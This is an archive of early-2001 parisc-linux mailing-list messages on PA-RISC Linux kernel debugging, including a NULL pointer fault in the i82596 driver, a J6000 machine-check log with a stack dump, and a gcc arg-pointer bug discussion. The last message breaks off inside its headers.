Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BB434A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 12:18:21 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13610
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 12:14:13 -0700
Original-Received: (qmail 4134 invoked by uid 15267); 31 Jan 2001 19:18:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4110 invoked from network); 31 Jan 2001 19:18:18 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 19:18:18 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-051.dot.at [212.9.128.91])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id UAA24840;
	Wed, 31 Jan 2001 20:21:03 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10092

He, that's interesting:

See link:
	http://www.mkg.sfc.keio.ac.jp/support/FAQ/README

Here a copy and paste out of it:

2.2 MIPS

RT-Mach and 4.4BSD Lite server for MIPS-based Sony NEWS workstation
currently support the following devices.

        CPU:    R4400 (and compatibles).
        Devices:Built-in Serial (Zilog 85230 ESCC)
                Built-in SCSI (HP SPIFI)
                Built-in Ethernet (Sony SONIC)
                Video Board (NWB-1102)
                Keyboard
                Mouse

It seem as they support the SPIFI of HP !
I have not downloaded yet. I have to register and I want to read around
that stuff.
I also does not know, if this is a source snapshot.
But perhaps it can help .....

Cheers
	Christoph


Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > But there are some people who are interested in writing drivers
> > for these machines and I want to use my E55 (9000/856). I only
> > need the input (doucmentation, HP-UX sources, etc) to do such
> > work (especially for the 8-port serial multiplexer).
> ...
> > Where can I get the INFOS to do that ????
> 
> I've sent some HP internal URLs to someone in HP who expressed interested
> in getting SPIFI (NIO SCSI) docs published. I haven't heard back from him
> in a while.
> 
> Someone from HP who shares your interest can do either (or both)
> of the following two things:
> o write and publish an initial version of the code you need and provide
>   technical support when needed. This is what I did for ccio code.
>   (which is trivial compared to writing SPIFI chip support)
> o Enable someone else to write the code by: review the relevant
>   unpublished docs, fix references to IP not owned by HP, delete
>   people/project names, get an HP attorney to review and bless the result.
> 
> Any other takers inside HP?
> If so reply to me privately and I'll try to help locate the documents.
> 
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Wed, 31 Jan 2001 11:28:05 -0800
Lines: 66
Approved: news@gmane.org
Message-ID: <200101311928.LAA29457@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101311234240.28937-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619816 14820 80.91.229.3 (22 Nov 2014 01:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 12:26:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D75994A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 12:26:03 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13867
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 12:21:51 -0700
Original-Received: (qmail 18822 invoked by uid 15267); 31 Jan 2001 19:25:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18794 invoked from network); 31 Jan 2001 19:25:56 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 19:25:56 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 4CF871800; Wed, 31 Jan 2001 11:25:50 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA29457;
	Wed, 31 Jan 2001 11:28:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 31 Jan 2001 13:04:43 PST."
             <Pine.LNX.4.21.0101311234240.28937-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10093

Greg Ingram wrote:

> Er, no, using the config I've been using.

I proposed the update/distclean/oldconfig/dep/palo sequence
only becase that's the only way for me to translate
hex addresses posted in the output to symbols.

I generally don't have time to build kernels based on .config's
posted here (few exceptions).

> > Or have you been able to boot kernels since the 2.4.0 merge?
> 
> Yes, my latest working kernel is:
> 
> 	Linux apollos 2.4.0 #7 Fri Jan 26 10:52:17 CST 2001 parisc unknown
...
> I'm going to experiment with some config changes now.

Ok.

But with this output I can tell you more about where to look
for the problem. These are steps anyone can do before posting
to the list.

> Data access rights fault in kernel: Code=26 regs=c7f9c7c0 (Addr=00000004)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001011
> r0-3     00000000 c02c7800 c02971c0 00000000
> r4-7     c7ffc200 ffffffff c01e5e40 c0284000
> r8-11    c02c8000 000000f0 00000000 c028d930
> r12-15   00000000 0000004d 00000001 00000000
> r16-19   f00010f4 f00000ac f00000a4 00000000
> r20-23   c7f9c74e 00000002 c0297424 ffd07000
> r24-27   c7f9c750 00000f20 00000000 c0260000
> r28-31   00000001 00000000 c7f9ca00 002b1638
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: c02971dc c02971e0
>  IIR: 0e681096    ISR: 00000000  IOR: 00000004
> ORIG_R28: c0275000

IAOQ: 0xc02971dc i82596_probe+68 (current Instruction address)
GR02: 0xc02971c0 i82596_probe+4c (ret address of most recent subroutine call)

And feeding IIR to adb on an HPUX box ("echo 0x0e681096=i | adb") says:

                LDW             4(r19),r22

Clearly a NULL ptr dereference in the driver for LASI's built-in 10BT.

If you want more data, last night I committed a script
to CVS build-tools called "astk". Uses Paul Bames "a" to lookup
known symbols from raw "Dumping Stack from.." hex output.

hope this helps,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] j6000 HPMC
Date: Wed, 31 Jan 2001 15:29:15 -0800 (PST)
Lines: 289
Approved: news@gmane.org
Message-ID: <200101312329.PAA29880@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619817 14823 80.91.229.3 (22 Nov 2014 01:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 16:27:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id E81CE4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 16:26:59 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id E88D4D30
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 15:26:58 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id PAA29880
	for parisc-linux@lists.parisc-linux.org; Wed, 31 Jan 2001 15:29:15 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:10094

FYI.

I wanted to test CONFIG_SMP stuff on a 32-bit capable box and was
given access to a J6000 (thanks rick!). The box has PDC rev 4.9 and
consistently HPMC's on the first PCI configuration space access.
C3k and J5k don't HPMC with kernels built from the same source.
I know c3k works and I'm sure jsm would let me know if j5k didn't.
I built the vanilla 32-bit kernel from source from today's CVS.

I'm not going to pursue this right now.
If anyone from TCD is concerned about this, I need ideas on why j5k
and A500 (PAT PDC) would work and j6k would not. I already know
parisc-linux does not touch the DMA hint registers. But that
shouldn't be relevant at this point.

Full console output is appended.

later,
grant



Firmware Version 4.9

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache
  ---------  --------   ---------------------  -----------------  -------------
      0      552 MHz    Active                 Functional         512 kB/1 MB
      1      552 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:            12884901888 bytes
  Good memory required:                  0 bytes (Not Set by OS)

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         PCI1.0.0
  Keyboard path:        USB

CPU 0
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
NOTICE :  Memory has been initialized but not tested because FASTBOOT is
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.

CPU 1
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting...
Network Station Address 001083-ff274f

System IP Address 15.8.80.78
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Wed Jan 10 17:21:51 PST 2001
0/vmlinux 2222350 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1433988 mediaptr 0x1000
Segment 1 load 00260000 size 173432 mediaptr 0x160000
Segment 2 load 0028c000 size 119640 mediaptr 0x18b000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a9000
Segment 4 load 002d85c8 size 71104 mediaptr 0x1ab5c8
branching to kernel entry point 0x00100160
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 16
Free memory starts at: 0xc02ea000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0'
PALO initrd 0-0
model   00005d40 00000491 00000000 00000002 782a06ff 100000f0 00000008 000000b2 000000b2
vers    00000301
cpuid   0000022b
CPUID   vers 17 rev 11
model   9000/785/J6000
led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, ret0=32, ret1=32
led_init: min_cmd_delay = 40 uS
LCD display at f05d0008,f05d0000 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Duet W+ (0) at 0xfffa0000, versions 0x5d4, 0x0, 0x4, 0x0, 0x91
7. Duet W+ (0) at 0xfffa2000, versions 0x5d4, 0x0, 0x4, 0x0, 0x91
8. Unknown device (1) at 0xfed10200, versions 0xa, 0x0, 0x9, 0x0, 0x0
That's a total of 8 devices.
CONFIG_SMP disabled - not claiming addional CPUs
Warning : device (0, 0x5d4, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8600 (PCX-W+) at 552.000000 MHz
Linux version 2.4.1 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #1 Wed Jan 31 09:46:40 PST 2001
free_bootmem(0x2ee000, 0x1fd12000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0
Calibrating delay loop... 1101.00 BogoMIPS
Memory: 512048k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR4.0 (0x5) found at 0xfed30000



Dumping Stack from dfff4000 to dfff4b80:
4000 00000000 00000040 00000000 00000000 c02754a0 00000000 00000000 ffffffff
4020 00000002 00000000 00000000 00000000 00000000 00000000 ffffffff c0275364
4040 c0275364 00000000 c02ac000 c02ac000 c027a60c 00000000 00000000 00000000
4060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
4080 00000000 c02ac000 c02ac000 00000000 00000000 00000000 c02ac098 c02ac098
40a0 00000000 c02c819c 00000000 dfff40ac dfff40ac 00000000 00000000 00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
40e0 dfff4000 c0119d98 00000000 00000003 00000000 00000000 0000002d 00000000
4100 00000030 00000000 00000000 00000000 00000000 00000000 00000000 80000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41c0 00000000 fffffeff 00000000 ffffffff 00000000 c02760b8 ffffffff ffffffff
41e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
4200 ffffffff ffffffff 00002000 00002000 00000400 00000400 ffffffff ffffffff
4220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
4240 00000000 00000000 00000000 00000000 00000000 00000000 00020000 00000004
4260 00000000 c01416ec 00040000 dfffeba0 c0227770 c02382cc 00000003 00504d70
4280 00000000 c011817c c02c7000 00020000 00000004 c02c7000 00000000 0004000a
42a0 0000003c 0000003e c0275000 00000001 c02b3ba7 00000004 c02b3b83 00000000
42c0 c01002cc 0000003e 00000000 00000024 0000000b c02754d4 c0275000 f000017c
42e0 f0000174 000000ff 002ae080 fee003f8 fee003fd 002b163c 00000060 fee003f8
4300 002b3540 c0260000 00000000 9f206d5b c02ac8c0 00000060 0010081f 00000000
4320 9cffffff fdffffff ffffffff ffffffff ffffffff ffffffff 00001e84 fffffbff
4340 00000078 ffffffff 00000000 000e4de0 00000000 ffffffff ffffffff ffffffff
4360 ffbffff7 fdffffff ffffffff ffffffff ffffffb7 ffefffff ffffffff fbfffeff
4380 7fffffff fffbffff ffffffff ffffffff ffffffbf f7bfffff dfffffff 00004010
43a0 ffefffff ffbfffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
43c0 7dffff7f fffdffff bf7fffff ffffffff fff5efff f7ffdfff ffffffff ffffffff
43e0 ffffffbe ff7fbfff ffffffff ffffffff bfffffff ffefffff 00000000 ffffffff
4400 3f7fff7f ffff7fff ffffffff ffffffff 7eebff7f ffffffef 00000000 00000000
4420 dfff4500 c0105c38 00000000 00000000 00000000 00000000 00000000 00000000
4440 c0118168 c011816c bf7fffff ffffffff 0027b000 00000000 c027a040 c027a064
4460 00000000 c027a204 00000000 00000000 00000000 dfff4470 00000000 00000000
4480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44e0 00000000 00000000 00000000 c0105c48 00000000 00000000 00000000 00000000
4500 c02ac000 00000000 c02ac640 00000000 00000000 00000000 00000000 00000000
4520 00000000 00000000 00000000 c01002e0 00000000 00000000 00000000 00000000
4540 00000000 00000000 00000000 00000000 dfff4000 c027a60c c02ac000 00000000
4560 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
45a0 00000000 00000000 00000000 c028d104 00000000 00000000 00000000 00000000
45c0 c02ac640 00000000 00000000 00000000 00000000 00000000 dfffd140 00000000
45e0 00000000 00000000 00000000 c029fa34 00000000 00000000 00000000 00000000
4600 00000000 c0286234 c0252f9c c0260000 c02c7000 00000000 c0286234 00000000
4620 00000000 00000000 00000000 c028e3f8 00000000 00000000 00000000 00000000
4640 c02ca800 c0260000 c02c7000 00000000 c0286234 c0260000 c02756f0 00000000
4660 00000000 c0260000 dfff2760 00000000 00000000 0000416d 000081a4 00000000
4680 00000000 00000000 c02b3000 dfff2760 00000000 00000000 c0157ce0 00000000
46a0 00000000 0000416d 00000004 c0109d90 00000000 00000000 c028e5e8 00000000
46c0 c02b0000 00000002 c0275040 c02b06bc c02b3694 dfff2760 00000000 00000000
46e0 00000000 00000000 00000000 c0157ce0 00000000 00000000 00000000 00000000
4700 dfff2fac 0000416d c023427c fed30000 00000005 c0230f7c c0230eec c0230f8c
4720 00000000 00000000 00000000 c028e53c 00000000 00000000 00000000 00000000
4740 dfffb1a0 00000005 dfff11a0 dfff11a0 c0275040 f0400004 00000001 ffffffff
4760 00000000 c028d930 0004000a c029ef7c c02c8000 c02b0000 c02b06bc 00000002
4780 dfff11a0 dfff11a0 00000000 00000000 00000000 00000000 dfff1220 00000000
47a0 dfff11a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
47c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
47e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4800 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4820 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4840 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4860 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4880 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
48a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
48c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
48e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4920 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4940 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4960 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4980 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
49a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
49c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
49e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4a00 00000000 00000000 00000000 c02b3baf c02b0000 c02b06bc c0275088 dfff11a0
4a20 dfff1220 00000000 00000000 c01064c4 00000000 00000000 00000000 00000000
4a40 c028d930 0004000a 00000003 c02c8000 c02ca800 c0260000 c02b3690 0000000b
4a60 dfff1120 00000000 00000000 c029edcc 00000000 00000000 00000000 00000000
4a80 80000000 00000000 00000001 00000020 00000003 c02c8000 dfff1220 c02b06bc
4aa0 000000ff 00000000 00000008 c0103670 00000000 00000000 00000000 00000000
4ac0 80000000 c02c8000 dfff47c0 00000020 00000000 00000000 00000000 00000000
4ae0 00000000 00000000 00000000 c029ecb4 00000000 00000000 00000000 00000000
4b00 dfff4788 00000020 c02620ec 00000020 00000000 00000000 00000000 00000000
4b20 00000000 00000000 00000000 c01ddb60 00000000 00000000 00000000 00000000
4b40 dfff1234 00000000 0000000b 00000008 00000000 00000000 00000000 00000000
4b60 00000000 00000000 00000000 c011ad30 00000000 00000000 00000000 00000000

High Priority Machine Check (HPMC): Code=1 regs=c0268080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001000
r0-3     00000000 c01df800 c010d3c8 dfff11a0
r4-7     00000000 0000000e dfff4a88 c02861c0
r8-11    00000000 00000000 0004000a c028d930
r12-15   00000000 ffffffff 00000001 f0400004
r16-19   f00008c4 f000017c f0000174 0000000a
r20-23   00000000 00000005 dfff1220 c0275518
r24-27   dfff11a0 fed30040 fed3004a c0260000
r28-31   dfff4788 00000180 dfff4b80 c01ddb60
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01df908 c01df90c
 IIR: 0f40001c    ISR: a607fffb  IOR: 4c13004a
ORIG_R28: 00000000



GR02 0xc010d3c8 lba_cfg_read8+ac
IAOQ 0xc01df908 _gsc_readb+4

I think the calling stack looks something:
_gsc_readb+4
lba_cfg_read8+ac
pci_read_config_byte+24
pci_scan_slot+60
pci_do_scan_bus+58
lba_driver_callback+138
...





From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: testcase for hppa64 gcc bug
Date: Wed, 31 Jan 2001 18:19:17 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <31628.980990357@slagheap.cygnus.com>
References: <Pine.LNX.4.21.0012061607530.16721-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619817 14826 80.91.229.3 (22 Nov 2014 01:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
	parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 18:17:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86EB64A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 18:17:24 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA18733
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 18:13:17 -0700
Original-Received: (qmail 31856 invoked by uid 15267); 1 Feb 2001 01:17:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31827 invoked from network); 1 Feb 2001 01:17:16 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 01:17:16 -0000
Original-Received: from slagheap.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA18126
	for <parisc-linux@thepuffingroup.com>; Wed, 31 Jan 2001 17:17:10 -0800 (PST)
Original-Received: from slagheap.cygnus.com (law@localhost)
	by slagheap.cygnus.com (8.11.0/8.11.0) with ESMTP id f111JHK31629;
	Wed, 31 Jan 2001 18:19:17 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Wed, 06 Dec 2000 16:28:27 +1100.
             <Pine.LNX.4.21.0012061607530.16721-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:10095

  In message <Pine.LNX.4.21.0012061607530.16721-100000@front.linuxcare.com.au>y
ou write:
  > > I think this needs to be reexamined.  Allan's ARG_POINTER_INVARIANT patch
  > > might not be needed now.
  > 
  > It's still needed.  The problem is that gcc thinks the arg pointer is
  > unchanged from the entry value to a function, even when the arg pointer
  > needs to be set to call other functions.
But the incoming argument pointer should have been copied into a pseudo at
the start of the function and the new pseudo used to address incoming args.

That's the real problem here I think.

jeff





From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Wed, 31 Jan 2001 18:18:49 -0800
Lines: 279
Approved: news@gmane.org
Message-ID: <200102010218.SAA00333@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101311009300.28557-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619817 14827 80.91.229.3 (22 Nov 2014 01:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 19:16:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CD824A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 19:16:42 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA20037
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 19:12:34 -0700
Original-Received: (qmail 16959 invoked by uid 15267); 1 Feb 2001 02:16:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16942 invoked from network); 1 Feb 2001 02:16:35 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 02:16:35 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 67EE77AF; Wed, 31 Jan 2001 18:16:34 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA00333;
	Wed, 31 Jan 2001 18:18:51 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 31 Jan 2001 10:37:14 PST."
